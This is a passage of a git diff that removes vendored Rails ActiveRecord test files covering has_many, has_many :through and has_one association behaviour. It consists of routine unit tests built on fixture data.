-    clients = companies(:first_firm).clients_of_firm.to_a
-    assert !clients.empty?, "37signals has clients after load"
-    destroyed = companies(:first_firm).clients_of_firm.destroy_all
-    assert_equal clients.sort_by(&:id), destroyed.sort_by(&:id)
-    assert destroyed.all? { |client| client.frozen? }, "destroyed clients should be frozen"
-    assert companies(:first_firm).clients_of_firm.empty?, "37signals has no clients after destroy all"
-    assert companies(:first_firm).clients_of_firm(true).empty?, "37signals has no clients after destroy all and refresh"
-  end
-
-  def test_destroy_all_with_creates_and_scope_that_doesnt_match_created_records
-    company = companies(:first_firm)
-    unloaded_client_matching_scope = companies(:second_client)
-    created_client_matching_scope = company.clients_of_firm.create!(:name => "Somesoft")
-    created_client_not_matching_scope = company.clients_of_firm.create!(:name => "OtherCo")
-    destroyed = company.clients_of_firm.with_oft_in_name.destroy_all
-    assert destroyed.include?(unloaded_client_matching_scope), "unloaded clients matching the scope destroy_all on should have been destroyed"
-    assert destroyed.include?(created_client_matching_scope), "loaded clients matching the scope destroy_all on should have been destroyed"
-    assert !destroyed.include?(created_client_not_matching_scope), "loaded clients not matching the scope destroy_all on should not have been destroyed"
-  end
-
-  def test_dependence
-    firm = companies(:first_firm)
-    assert_equal 2, firm.clients.size
-    firm.destroy
-    assert Client.find(:all, :conditions => "firm_id=#{firm.id}").empty?
-  end
-
-  def test_dependence_for_associations_with_hash_condition
-    david = authors(:david)
-    post = posts(:thinking).id
-    assert_difference('Post.count', -1) { assert david.destroy }
-  end
-
-  def test_destroy_dependent_when_deleted_from_association
-    firm = Firm.find(:first)
-    assert_equal 2, firm.clients.size
-
-    client = firm.clients.first
-    firm.clients.delete(client)
-
-    assert_raise(ActiveRecord::RecordNotFound) { Client.find(client.id) }
-    assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(client.id) }
-    assert_equal 1, firm.clients.size
-  end
-
-  def test_three_levels_of_dependence
-    topic = Topic.create "title" => "neat and simple"
-    reply = topic.replies.create "title" => "neat and simple", "content" => "still digging it"
-    silly_reply = reply.replies.create "title" => "neat and simple", "content" => "ain't complaining"
-
-    assert_nothing_raised { topic.destroy }
-  end
-
-  uses_transaction :test_dependence_with_transaction_support_on_failure
-  def test_dependence_with_transaction_support_on_failure
-    firm = companies(:first_firm)
-    clients = firm.clients
-    assert_equal 2, clients.length
-    clients.last.instance_eval { def before_destroy() raise "Trigger rollback" end }
-
-    firm.destroy rescue "do nothing"
-
-    assert_equal 2, Client.find(:all, :conditions => "firm_id=#{firm.id}").size
-  end
-
-  def test_dependence_on_account
-    num_accounts = Account.count
-    companies(:first_firm).destroy
-    assert_equal num_accounts - 1, Account.count
-  end
-
-  def test_depends_and_nullify
-    num_accounts = Account.count
-    num_companies = Company.count
-
-    core = companies(:rails_core)
-    assert_equal accounts(:rails_core_account), core.account
-    assert_equal companies(:leetsoft, :jadedpixel), core.companies
-    core.destroy
-    assert_nil accounts(:rails_core_account).reload.firm_id
-    assert_nil companies(:leetsoft).reload.client_of
-    assert_nil companies(:jadedpixel).reload.client_of
-
-
-    assert_equal num_accounts, Account.count
-  end
-
-  def test_included_in_collection
-    assert companies(:first_firm).clients.include?(Client.find(2))
-  end
-
-  def test_adding_array_and_collection
-    assert_nothing_raised { Firm.find(:first).clients + Firm.find(:all).last.clients }
-  end
-
-  def test_find_all_without_conditions
-    firm = companies(:first_firm)
-    assert_equal 2, firm.clients.find(:all).length
-  end
-
-  def test_replace_with_less
-    firm = Firm.find(:first)
-    firm.clients = [companies(:first_client)]
-    assert firm.save, "Could not save firm"
-    firm.reload
-    assert_equal 1, firm.clients.length
-  end
-
-  def test_replace_with_less_and_dependent_nullify
-    num_companies = Company.count
-    companies(:rails_core).companies = []
-    assert_equal num_companies, Company.count
-  end
-
-  def test_replace_with_new
-    firm = Firm.find(:first)
-    firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
-    firm.save
-    firm.reload
-    assert_equal 2, firm.clients.length
-    assert !firm.clients.include?(:first_client)
-  end
-
-  def test_get_ids
-    assert_equal [companies(:first_client).id, companies(:second_client).id], companies(:first_firm).client_ids
-  end
-
-  def test_get_ids_for_loaded_associations
-    company = companies(:first_firm)
-    company.clients(true)
-    assert_queries(0) do
-      company.client_ids
-      company.client_ids
-    end
-  end
-
-  def test_get_ids_for_unloaded_associations_does_not_load_them
-    company = companies(:first_firm)
-    assert !company.clients.loaded?
-    assert_equal [companies(:first_client).id, companies(:second_client).id], company.client_ids
-    assert !company.clients.loaded?
-  end
-
-  def test_get_ids_for_unloaded_finder_sql_associations_loads_them
-    company = companies(:first_firm)
-    assert !company.clients_using_sql.loaded?
-    assert_equal [companies(:second_client).id], company.clients_using_sql_ids
-    assert company.clients_using_sql.loaded?
-  end
-
-  def test_assign_ids_ignoring_blanks
-    firm = Firm.create!(:name => 'Apple')
-    firm.client_ids = [companies(:first_client).id, nil, companies(:second_client).id, '']
-    firm.save!
-
-    assert_equal 2, firm.clients(true).size
-    assert firm.clients.include?(companies(:second_client))
-  end
-
-  def test_get_ids_for_through
-    assert_equal [comments(:eager_other_comment1).id], authors(:mary).comment_ids
-  end
-
-  def test_modifying_a_through_a_has_many_should_raise
-    [
-      lambda { authors(:mary).comment_ids = [comments(:greetings).id, comments(:more_greetings).id] },
-      lambda { authors(:mary).comments = [comments(:greetings), comments(:more_greetings)] },
-      lambda { authors(:mary).comments << Comment.create!(:body => "Yay", :post_id => 424242) },
-      lambda { authors(:mary).comments.delete(authors(:mary).comments.first) },
-    ].each {|block| assert_raise(ActiveRecord::HasManyThroughCantAssociateThroughHasOneOrManyReflection, &block) }
-  end
-
-  def test_dynamic_find_should_respect_association_order_for_through
-    assert_equal Comment.find(10), authors(:david).comments_desc.find(:first, :conditions => "comments.type = 'SpecialComment'")
-    assert_equal Comment.find(10), authors(:david).comments_desc.find_by_type('SpecialComment')
-  end
-
-  def test_dynamic_find_order_should_override_association_order_for_through
-    assert_equal Comment.find(3), authors(:david).comments_desc.find(:first, :conditions => "comments.type = 'SpecialComment'", :order => 'comments.id')
-    assert_equal Comment.find(3), authors(:david).comments_desc.find_by_type('SpecialComment', :order => 'comments.id')
-  end
-
-  def test_dynamic_find_all_should_respect_association_order_for_through
-    assert_equal [Comment.find(10), Comment.find(7), Comment.find(6), Comment.find(3)], authors(:david).comments_desc.find(:all, :conditions => "comments.type = 'SpecialComment'")
-    assert_equal [Comment.find(10), Comment.find(7), Comment.find(6), Comment.find(3)], authors(:david).comments_desc.find_all_by_type('SpecialComment')
-  end
-
-  def test_dynamic_find_all_order_should_override_association_order_for_through
-    assert_equal [Comment.find(3), Comment.find(6), Comment.find(7), Comment.find(10)], authors(:david).comments_desc.find(:all, :conditions => "comments.type = 'SpecialComment'", :order => 'comments.id')
-    assert_equal [Comment.find(3), Comment.find(6), Comment.find(7), Comment.find(10)], authors(:david).comments_desc.find_all_by_type('SpecialComment', :order => 'comments.id')
-  end
-
-  def test_dynamic_find_all_should_respect_association_limit_for_through
-    assert_equal 1, authors(:david).limited_comments.find(:all, :conditions => "comments.type = 'SpecialComment'").length
-    assert_equal 1, authors(:david).limited_comments.find_all_by_type('SpecialComment').length
-  end
-
-  def test_dynamic_find_all_order_should_override_association_limit_for_through
-    assert_equal 4, authors(:david).limited_comments.find(:all, :conditions => "comments.type = 'SpecialComment'", :limit => 9_000).length
-    assert_equal 4, authors(:david).limited_comments.find_all_by_type('SpecialComment', :limit => 9_000).length
-  end
-
-  def test_find_all_include_over_the_same_table_for_through
-    assert_equal 2, people(:michael).posts.find(:all, :include => :people).length
-  end
-
-  def test_has_many_through_respects_hash_conditions
-    assert_equal authors(:david).hello_posts, authors(:david).hello_posts_with_hash_conditions
-    assert_equal authors(:david).hello_post_comments, authors(:david).hello_post_comments_with_hash_conditions
-  end
-
-  def test_include_uses_array_include_after_loaded
-    firm = companies(:first_firm)
-    firm.clients.class # force load target
-
-    client = firm.clients.first
-
-    assert_no_queries do
-      assert firm.clients.loaded?
-      assert firm.clients.include?(client)
-    end
-  end
-
-  def test_include_checks_if_record_exists_if_target_not_loaded
-    firm = companies(:first_firm)
-    client = firm.clients.first
-
-    firm.reload
-    assert ! firm.clients.loaded?
-    assert_queries(1) do
-      assert firm.clients.include?(client)
-    end
-    assert ! firm.clients.loaded?
-  end
-
-  def test_include_loads_collection_if_target_uses_finder_sql
-    firm = companies(:first_firm)
-    client = firm.clients_using_sql.first
-
-    firm.reload
-    assert ! firm.clients_using_sql.loaded?
-    assert firm.clients_using_sql.include?(client)
-    assert firm.clients_using_sql.loaded?
-  end
-
-
-  def test_include_returns_false_for_non_matching_record_to_verify_scoping
-    firm = companies(:first_firm)
-    client = Client.create!(:name => 'Not Associated')
-
-    assert ! firm.clients.loaded?
-    assert ! firm.clients.include?(client)
-  end
-
-  def test_calling_first_or_last_on_association_should_not_load_association
-    firm = companies(:first_firm)
-    firm.clients.first
-    firm.clients.last
-    assert !firm.clients.loaded?
-  end
-
-  def test_calling_first_or_last_on_loaded_association_should_not_fetch_with_query
-    firm = companies(:first_firm)
-    firm.clients.class # force load target
-    assert firm.clients.loaded?
-
-    assert_no_queries do
-      firm.clients.first
-      assert_equal 2, firm.clients.first(2).size
-      firm.clients.last
-      assert_equal 2, firm.clients.last(2).size
-    end
-  end
-
-  def test_calling_first_or_last_on_existing_record_with_build_should_load_association
-    firm = companies(:first_firm)
-    firm.clients.build(:name => 'Foo')
-    assert !firm.clients.loaded?
-
-    assert_queries 1 do
-      firm.clients.first
-      firm.clients.last
-    end
-
-    assert firm.clients.loaded?
-  end
-
-  def test_calling_first_or_last_on_existing_record_with_create_should_not_load_association
-    firm = companies(:first_firm)
-    firm.clients.create(:name => 'Foo')
-    assert !firm.clients.loaded?
-
-    assert_queries 2 do
-      firm.clients.first
-      firm.clients.last
-    end
-
-    assert !firm.clients.loaded?
-  end
-
-  def test_calling_first_or_last_on_new_record_should_not_run_queries
-    firm = Firm.new
-
-    assert_no_queries do
-      firm.clients.first
-      firm.clients.last
-    end
-  end
-
-  def test_calling_first_or_last_with_find_options_on_loaded_association_should_fetch_with_query
-    firm = companies(:first_firm)
-    firm.clients.class # force load target
-
-    assert_queries 2 do
-      assert firm.clients.loaded?
-      firm.clients.first(:order => 'name')
-      firm.clients.last(:order => 'name')
-    end
-  end
-
-  def test_calling_first_or_last_with_integer_on_association_should_load_association
-    firm = companies(:first_firm)
-
-    assert_queries 1 do
-      firm.clients.first(2)
-      firm.clients.last(2)
-    end
-
-    assert firm.clients.loaded?
-  end
-
-  def test_joins_with_namespaced_model_should_use_correct_type
-    old = ActiveRecord::Base.store_full_sti_class
-    ActiveRecord::Base.store_full_sti_class = true
-
-    firm = Namespaced::Firm.create({ :name => 'Some Company' })
-    firm.clients.create({ :name => 'Some Client' })
-
-    stats = Namespaced::Firm.find(firm.id, {
-      :select => "#{Namespaced::Firm.table_name}.id, COUNT(#{Namespaced::Client.table_name}.id) AS num_clients",
-      :joins  => :clients,
-      :group  => "#{Namespaced::Firm.table_name}.id"
-    })
-    assert_equal 1, stats.num_clients.to_i
-
-  ensure
-    ActiveRecord::Base.store_full_sti_class = old
-  end
-
-  def test_association_proxy_transaction_method_starts_transaction_in_association_class
-    Comment.expects(:transaction)
-    Post.find(:first).comments.transaction do
-      # nothing
-    end
-  end
-
-  def test_sending_new_to_association_proxy_should_have_same_effect_as_calling_new
-    client_association = companies(:first_firm).clients
-    assert_equal client_association.new.attributes, client_association.send(:new).attributes
-  end
-
-  def test_respond_to_private_class_methods
-    client_association = companies(:first_firm).clients
-    assert !client_association.respond_to?(:private_method)
-    assert client_association.respond_to?(:private_method, true)
-  end
-
-  def test_creating_using_primary_key
-    firm = Firm.find(:first)
-    client = firm.clients_using_primary_key.create!(:name => 'test')
-    assert_equal firm.name, client.firm_name
-  end
-
-  def test_normal_method_call_in_association_proxy
-    assert_equal 'Welcome to the weblog', Comment.all.map { |comment| comment.post }.sort_by(&:id).first.title
-  end
-
-  def test_instance_eval_in_association_proxy
-    assert_equal 'Welcome to the weblog', Comment.all.map { |comment| comment.post }.sort_by(&:id).first.instance_eval{title}
-  end
-
-  def test_defining_has_many_association_with_delete_all_dependency_lazily_evaluates_target_class
-    ActiveRecord::Reflection::AssociationReflection.any_instance.expects(:class_name).never
-    class_eval <<-EOF
-      class DeleteAllModel < ActiveRecord::Base
-        has_many :nonentities, :dependent => :delete_all
-      end
-    EOF
-  end
-
-  def test_defining_has_many_association_with_nullify_dependency_lazily_evaluates_target_class
-    ActiveRecord::Reflection::AssociationReflection.any_instance.expects(:class_name).never
-    class_eval <<-EOF
-      class NullifyModel < ActiveRecord::Base
-        has_many :nonentities, :dependent => :nullify
-      end
-    EOF
-  end
-
-  def test_include_method_in_has_many_association_should_return_true_for_instance_added_with_build
-    post = Post.new
-    comment = post.comments.build
-    assert post.comments.include?(comment)
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb
deleted file mode 100644
index cc7e6dbe..00000000
--- a/vendor/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb
+++ /dev/null
@@ -1,360 +0,0 @@
-require "cases/helper"
-require 'models/post'
-require 'models/person'
-require 'models/reference'
-require 'models/job'
-require 'models/reader'
-require 'models/comment'
-require 'models/tag'
-require 'models/tagging'
-require 'models/author'
-require 'models/owner'
-require 'models/pet'
-require 'models/toy'
-require 'models/contract'
-require 'models/company'
-require 'models/developer'
-
-class HasManyThroughAssociationsTest < ActiveRecord::TestCase
-  fixtures :posts, :readers, :people, :comments, :authors, :owners, :pets, :toys,
-           :companies
-
-  def test_associate_existing
-    assert_queries(2) { posts(:thinking);people(:david) }
-
-    posts(:thinking).people
-
-    assert_queries(1) do
-      posts(:thinking).people << people(:david)
-    end
-    
-    assert_queries(1) do
-      assert posts(:thinking).people.include?(people(:david))
-    end
-    
-    assert posts(:thinking).reload.people(true).include?(people(:david))
-  end
-
-  def test_associating_new
-    assert_queries(1) { posts(:thinking) }
-    new_person = nil # so block binding catches it
-    
-    assert_queries(0) do
-      new_person = Person.new :first_name => 'bob'
-    end
-    
-    # Associating new records always saves them
-    # Thus, 1 query for the new person record, 1 query for the new join table record
-    assert_queries(2) do
-      posts(:thinking).people << new_person
-    end
-    
-    assert_queries(1) do
-      assert posts(:thinking).people.include?(new_person)
-    end
-    
-    assert posts(:thinking).reload.people(true).include?(new_person)
-  end
-
-  def test_associate_new_by_building
-    assert_queries(1) { posts(:thinking) }
-    
-    assert_queries(0) do
-      posts(:thinking).people.build(:first_name=>"Bob")
-      posts(:thinking).people.new(:first_name=>"Ted")
-    end
-    
-    # Should only need to load the association once
-    assert_queries(1) do
-      assert posts(:thinking).people.collect(&:first_name).include?("Bob")
-      assert posts(:thinking).people.collect(&:first_name).include?("Ted")
-    end
-    
-    # 2 queries for each new record (1 to save the record itself, 1 for the join model)
-    #    * 2 new records = 4
-    # + 1 query to save the actual post = 5
-    assert_queries(5) do
-      posts(:thinking).body += '-changed'
-      posts(:thinking).save
-    end
-    
-    assert posts(:thinking).reload.people(true).collect(&:first_name).include?("Bob")
-    assert posts(:thinking).reload.people(true).collect(&:first_name).include?("Ted")
-  end
-
-  def test_delete_association
-    assert_queries(2){posts(:welcome);people(:michael); }
-    
-    assert_queries(1) do
-      posts(:welcome).people.delete(people(:michael))
-    end
-    
-    assert_queries(1) do
-      assert posts(:welcome).people.empty?
-    end
-    
-    assert posts(:welcome).reload.people(true).empty?
-  end
-
-  def test_destroy_association
-    assert_difference "Person.count", -1 do
-      posts(:welcome).people.destroy(people(:michael))
-    end
-
-    assert posts(:welcome).reload.people.empty?
-    assert posts(:welcome).people(true).empty?
-  end
-
-  def test_destroy_all
-    assert_difference "Person.count", -1 do
-      posts(:welcome).people.destroy_all
-    end
-
-    assert posts(:welcome).reload.people.empty?
-    assert posts(:welcome).people(true).empty?
-  end
-
-  def test_replace_association
-    assert_queries(4){posts(:welcome);people(:david);people(:michael); posts(:welcome).people(true)}
-    
-    # 1 query to delete the existing reader (michael)
-    # 1 query to associate the new reader (david)
-    assert_queries(2) do
-      posts(:welcome).people = [people(:david)]
-    end
-    
-    assert_queries(0){
-      assert posts(:welcome).people.include?(people(:david))
-      assert !posts(:welcome).people.include?(people(:michael))
-    }
-    
-    assert posts(:welcome).reload.people(true).include?(people(:david))
-    assert !posts(:welcome).reload.people(true).include?(people(:michael))
-  end
-
-  def test_replace_order_is_preserved
-    posts(:welcome).people.clear
-    posts(:welcome).people = [people(:david), people(:michael)]
-    assert_equal [people(:david).id, people(:michael).id], posts(:welcome).readers.all(:order => 'id').map(&:person_id)
-
-    # Test the inverse order in case the first success was a coincidence
-    posts(:welcome).people.clear
-    posts(:welcome).people = [people(:michael), people(:david)]
-    assert_equal [people(:michael).id, people(:david).id], posts(:welcome).readers.all(:order => 'id').map(&:person_id)
-  end
-
-  def test_replace_by_id_order_is_preserved
-    posts(:welcome).people.clear
-    posts(:welcome).person_ids = [people(:david).id, people(:michael).id]
-    assert_equal [people(:david).id, people(:michael).id], posts(:welcome).readers.all(:order => 'id').map(&:person_id)
-
-    # Test the inverse order in case the first success was a coincidence
-    posts(:welcome).people.clear
-    posts(:welcome).person_ids = [people(:michael).id, people(:david).id]
-    assert_equal [people(:michael).id, people(:david).id], posts(:welcome).readers.all(:order => 'id').map(&:person_id)
-  end
-
-  def test_associate_with_create
-    assert_queries(1) { posts(:thinking) }
-    
-    # 1 query for the new record, 1 for the join table record
-    # No need to update the actual collection yet!
-    assert_queries(2) do
-      posts(:thinking).people.create(:first_name=>"Jeb")
-    end
-    
-    # *Now* we actually need the collection so it's loaded
-    assert_queries(1) do
-      assert posts(:thinking).people.collect(&:first_name).include?("Jeb")
-    end
-    
-    assert posts(:thinking).reload.people(true).collect(&:first_name).include?("Jeb")
-  end
-
-  def test_associate_with_create_and_no_options
-    peeps = posts(:thinking).people.count
-    posts(:thinking).people.create(:first_name => 'foo')
-    assert_equal peeps + 1, posts(:thinking).people.count
-  end
-
-  def test_associate_with_create_exclamation_and_no_options
-    peeps = posts(:thinking).people.count
-    posts(:thinking).people.create!(:first_name => 'foo')
-    assert_equal peeps + 1, posts(:thinking).people.count
-  end
-
-  def test_associate_with_create_and_invalid_options
-    peeps = companies(:first_firm).developers.count
-    assert_nothing_raised { companies(:first_firm).developers.create(:name => '0') }
-    assert_equal peeps, companies(:first_firm).developers.count
-  end
-
-  def test_associate_with_create_and_valid_options
-    peeps = companies(:first_firm).developers.count
-    assert_nothing_raised { companies(:first_firm).developers.create(:name => 'developer') }
-    assert_equal peeps + 1, companies(:first_firm).developers.count
-  end
-
-  def test_associate_with_create_bang_and_invalid_options
-    peeps = companies(:first_firm).developers.count
-    assert_raises(ActiveRecord::RecordInvalid) { companies(:first_firm).developers.create!(:name => '0') }
-    assert_equal peeps, companies(:first_firm).developers.count
-  end
-
-  def test_associate_with_create_bang_and_valid_options
-    peeps = companies(:first_firm).developers.count
-    assert_nothing_raised { companies(:first_firm).developers.create!(:name => 'developer') }
-    assert_equal peeps + 1, companies(:first_firm).developers.count
-  end
-
-  def test_clear_associations
-    assert_queries(2) { posts(:welcome);posts(:welcome).people(true) }
-    
-    assert_queries(1) do
-      posts(:welcome).people.clear
-    end
-    
-    assert_queries(0) do
-      assert posts(:welcome).people.empty?
-    end
-    
-    assert posts(:welcome).reload.people(true).empty?
-  end
-
-  def test_association_callback_ordering
-    Post.reset_log
-    log = Post.log
-    post = posts(:thinking)
-
-    post.people_with_callbacks << people(:michael)
-    assert_equal [
-      [:added, :before, "Michael"],
-      [:added, :after, "Michael"]
-    ], log.last(2)
-
-    post.people_with_callbacks.push(people(:david), Person.create!(:first_name => "Bob"), Person.new(:first_name => "Lary"))
-    assert_equal [
-      [:added, :before, "David"],
-      [:added, :after, "David"],
-      [:added, :before, "Bob"],
-      [:added, :after, "Bob"],
-      [:added, :before, "Lary"],
-      [:added, :after, "Lary"]
-    ],log.last(6)
-
-    post.people_with_callbacks.build(:first_name => "Ted")
-    assert_equal [
-      [:added, :before, "Ted"],
-      [:added, :after, "Ted"]
-    ], log.last(2)
-
-    post.people_with_callbacks.create(:first_name => "Sam")
-    assert_equal [
-      [:added, :before, "Sam"],
-      [:added, :after, "Sam"]
-    ], log.last(2)
-
-    post.people_with_callbacks = [people(:michael),people(:david), Person.new(:first_name => "Julian"), Person.create!(:first_name => "Roger")]
-    assert_equal (%w(Ted Bob Sam Lary) * 2).sort, log[-12..-5].collect(&:last).sort
-    assert_equal [
-      [:added, :before, "Julian"],
-      [:added, :after, "Julian"],
-      [:added, :before, "Roger"],
-      [:added, :after, "Roger"]
-    ], log.last(4)
-
-    post.people_with_callbacks.clear
-    assert_equal (%w(Michael David Julian Roger) * 2).sort, log.last(8).collect(&:last).sort
-  end
-
-  def test_dynamic_find_should_respect_association_include
-    # SQL error in sort clause if :include is not included
-    # due to Unknown column 'comments.id'
-    assert Person.find(1).posts_with_comments_sorted_by_comment_id.find_by_title('Welcome to the weblog')
-  end
-
-  def test_count_with_include_should_alias_join_table
-    assert_equal 2, people(:michael).posts.count(:include => :readers)
-  end
-
-  def test_inner_join_with_quoted_table_name
-    assert_equal 2, people(:michael).jobs.size
-  end
-
-  def test_get_ids
-    assert_equal [posts(:welcome).id, posts(:authorless).id].sort, people(:michael).post_ids.sort
-  end
-
-  def test_get_ids_for_loaded_associations
-    person = people(:michael)
-    person.posts(true)
-    assert_queries(0) do
-      person.post_ids
-      person.post_ids
-    end
-  end
-
-  def test_get_ids_for_unloaded_associations_does_not_load_them
-    person = people(:michael)
-    assert !person.posts.loaded?
-    assert_equal [posts(:welcome).id, posts(:authorless).id].sort, person.post_ids.sort
-    assert !person.posts.loaded?
-  end
-
-  def test_association_proxy_transaction_method_starts_transaction_in_association_class
-    Tag.expects(:transaction)
-    Post.find(:first).tags.transaction do
-      # nothing
-    end
-  end
-
-  def test_has_many_association_through_a_belongs_to_association_where_the_association_doesnt_exist
-    author = authors(:mary)
-    post = Post.create!(:title => "TITLE", :body => "BODY")
-    assert_equal [], post.author_favorites
-  end
-
-  def test_has_many_association_through_a_belongs_to_association
-    author = authors(:mary)
-    post = Post.create!(:author => author, :title => "TITLE", :body => "BODY")
-    author.author_favorites.create(:favorite_author_id => 1)
-    author.author_favorites.create(:favorite_author_id => 2)
-    author.author_favorites.create(:favorite_author_id => 3)
-    assert_equal post.author.author_favorites, post.author_favorites
-  end
-
-  def test_has_many_association_through_a_has_many_association_with_nonstandard_primary_keys
-    assert_equal 1, owners(:blackbeard).toys.count
-  end
-
-  def test_find_on_has_many_association_collection_with_include_and_conditions
-    post_with_no_comments = people(:michael).posts_with_no_comments.first
-    assert_equal post_with_no_comments, posts(:authorless)
-  end
-
-  def test_has_many_through_has_one_reflection
-    assert_equal [comments(:eager_sti_on_associations_vs_comment)], authors(:david).very_special_comments
-  end
-
-  def test_modifying_has_many_through_has_one_reflection_should_raise
-    [
-      lambda { authors(:david).very_special_comments = [VerySpecialComment.create!(:body => "Gorp!", :post_id => 1011), VerySpecialComment.create!(:body => "Eep!", :post_id => 1012)] },
-      lambda { authors(:david).very_special_comments << VerySpecialComment.create!(:body => "Hoohah!", :post_id => 1013) },
-      lambda { authors(:david).very_special_comments.delete(authors(:david).very_special_comments.first) },
-    ].each {|block| assert_raise(ActiveRecord::HasManyThroughCantAssociateThroughHasOneOrManyReflection, &block) }
-  end
-
-  def test_include_method_in_association_through_should_return_true_for_instance_added_with_build
-    person = Person.new
-    reference = person.references.build
-    job = reference.build_job
-    assert person.jobs.include?(job)
-  end
-
-  def test_include_method_in_association_through_should_return_true_for_instance_added_with_nested_builds
-    author = Author.new
-    post = author.posts.build
-    comment = post.comments.build
-    assert author.comments.include?(comment)
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/has_one_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/has_one_associations_test.rb
deleted file mode 100644
index 69954af7..00000000
--- a/vendor/rails/activerecord/test/cases/associations/has_one_associations_test.rb
+++ /dev/null
@@ -1,330 +0,0 @@
-require "cases/helper"
-require 'models/developer'
-require 'models/project'
-require 'models/company'
-
-class HasOneAssociationsTest < ActiveRecord::TestCase
-  fixtures :accounts, :companies, :developers, :projects, :developers_projects
-
-  def setup
-    Account.destroyed_account_ids.clear
-  end
-
-  def test_has_one
-    assert_equal companies(:first_firm).account, Account.find(1)
-    assert_equal Account.find(1).credit_limit, companies(:first_firm).account.credit_limit
-  end
-  
-  def test_has_one_cache_nils
-    firm = companies(:another_firm)
-    assert_queries(1) { assert_nil firm.account }
-    assert_queries(0) { assert_nil firm.account }
-
-    firms = Firm.find(:all, :include => :account)
-    assert_queries(0) { firms.each(&:account) }
-  end
-
-  def test_with_select
-    assert_equal Firm.find(1).account_with_select.attributes.size, 2
-    assert_equal Firm.find(1, :include => :account_with_select).account_with_select.attributes.size, 2
-  end
-
-  def test_finding_using_primary_key
-    firm = companies(:first_firm)
-    assert_equal Account.find_by_firm_id(firm.id), firm.account
-    firm.firm_id = companies(:rails_core).id
-    assert_equal accounts(:rails_core_account), firm.account_using_primary_key
-  end
-
-  def test_update_with_foreign_and_primary_keys
-    firm = companies(:first_firm)
-    account = firm.account_using_foreign_and_primary_keys
-    assert_equal Account.find_by_firm_name(firm.name), account
-    firm.save
-    firm.reload
-    assert_equal account, firm.account_using_foreign_and_primary_keys
-  end
-
-  def test_can_marshal_has_one_association_with_nil_target
-    firm = Firm.new
-    assert_nothing_raised do
-      assert_equal firm.attributes, Marshal.load(Marshal.dump(firm)).attributes
-    end
-
-    firm.account
-    assert_nothing_raised do
-      assert_equal firm.attributes, Marshal.load(Marshal.dump(firm)).attributes
-    end
-  end
-
-  def test_proxy_assignment
-    company = companies(:first_firm)
-    assert_nothing_raised { company.account = company.account }
-  end
-
-  def test_triple_equality
-    assert Account === companies(:first_firm).account
-    assert companies(:first_firm).account === Account
-  end
-
-  def test_type_mismatch
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = 1 }
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = Project.find(1) }
-  end
-
-  def test_natural_assignment
-    apple = Firm.create("name" => "Apple")
-    citibank = Account.create("credit_limit" => 10)
-    apple.account = citibank
-    assert_equal apple.id, citibank.firm_id
-  end
-
-  def test_natural_assignment_to_nil
-    old_account_id = companies(:first_firm).account.id
-    companies(:first_firm).account = nil
-    companies(:first_firm).save
-    assert_nil companies(:first_firm).account
-    # account is dependent, therefore is destroyed when reference to owner is lost
-    assert_raise(ActiveRecord::RecordNotFound) { Account.find(old_account_id) }
-  end
-
-  def test_nullification_on_association_change
-    firm = companies(:rails_core)
-    old_account_id = firm.account.id
-    firm.account = Account.new
-    # account is dependent with nullify, therefore its firm_id should be nil
-    assert_nil Account.find(old_account_id).firm_id
-  end
-
-  def test_association_changecalls_delete
-    companies(:first_firm).deletable_account = Account.new
-    assert_equal [], Account.destroyed_account_ids[companies(:first_firm).id]
-  end
-
-  def test_association_change_calls_destroy
-    companies(:first_firm).account = Account.new
-    assert_equal [companies(:first_firm).id], Account.destroyed_account_ids[companies(:first_firm).id]
-  end
-
-  def test_natural_assignment_to_already_associated_record
-    company = companies(:first_firm)
-    account = accounts(:signals37)
-    assert_equal company.account, account
-    company.account = account
-    company.reload
-    account.reload
-    assert_equal company.account, account
-  end
-
-  def test_assignment_without_replacement
-    apple = Firm.create("name" => "Apple")
-    citibank = Account.create("credit_limit" => 10)
-    apple.account = citibank
-    assert_equal apple.id, citibank.firm_id
-
-    hsbc = apple.build_account({ :credit_limit => 20}, false)
-    assert_equal apple.id, hsbc.firm_id
-    hsbc.save
-    assert_equal apple.id, citibank.firm_id
-
-    nykredit = apple.create_account({ :credit_limit => 30}, false)
-    assert_equal apple.id, nykredit.firm_id
-    assert_equal apple.id, citibank.firm_id
-    assert_equal apple.id, hsbc.firm_id
-  end
-
-  def test_assignment_without_replacement_on_create
-    apple = Firm.create("name" => "Apple")
-    citibank = Account.create("credit_limit" => 10)
-    apple.account = citibank
-    assert_equal apple.id, citibank.firm_id
-
-    hsbc = apple.create_account({:credit_limit => 10}, false)
-    assert_equal apple.id, hsbc.firm_id
-    hsbc.save
-    assert_equal apple.id, citibank.firm_id
-  end
-
-  def test_dependence
-    num_accounts = Account.count
-
-    firm = Firm.find(1)
-    assert !firm.account.nil?
-    account_id = firm.account.id
-    assert_equal [], Account.destroyed_account_ids[firm.id]
-
-    firm.destroy
-    assert_equal num_accounts - 1, Account.count
-    assert_equal [account_id], Account.destroyed_account_ids[firm.id]
-  end
-
-  def test_exclusive_dependence
-    num_accounts = Account.count
-
-    firm = ExclusivelyDependentFirm.find(9)
-    assert !firm.account.nil?
-    account_id = firm.account.id
-    assert_equal [], Account.destroyed_account_ids[firm.id]
-
-    firm.destroy
-    assert_equal num_accounts - 1, Account.count
-    assert_equal [], Account.destroyed_account_ids[firm.id]
-  end
-
-  def test_dependence_with_nil_associate
-    firm = DependentFirm.new(:name => 'nullify')
-    firm.save!
-    assert_nothing_raised { firm.destroy }
-  end
-
-  def test_succesful_build_association
-    firm = Firm.new("name" => "GlobalMegaCorp")
-    firm.save
-
-    account = firm.build_account("credit_limit" => 1000)
-    assert account.save
-    assert_equal account, firm.account
-  end
-
-  def test_failing_build_association
-    firm = Firm.new("name" => "GlobalMegaCorp")
-    firm.save
-
-    account = firm.build_account
-    assert !account.save
-    assert_equal "can't be empty", account.errors.on("credit_limit")
-  end
-
-  def test_build_association_twice_without_saving_affects_nothing
-    count_of_account = Account.count
-    firm = Firm.find(:first)
-    account1 = firm.build_account("credit_limit" => 1000)
-    account2 = firm.build_account("credit_limit" => 2000)
-
-    assert_equal count_of_account, Account.count
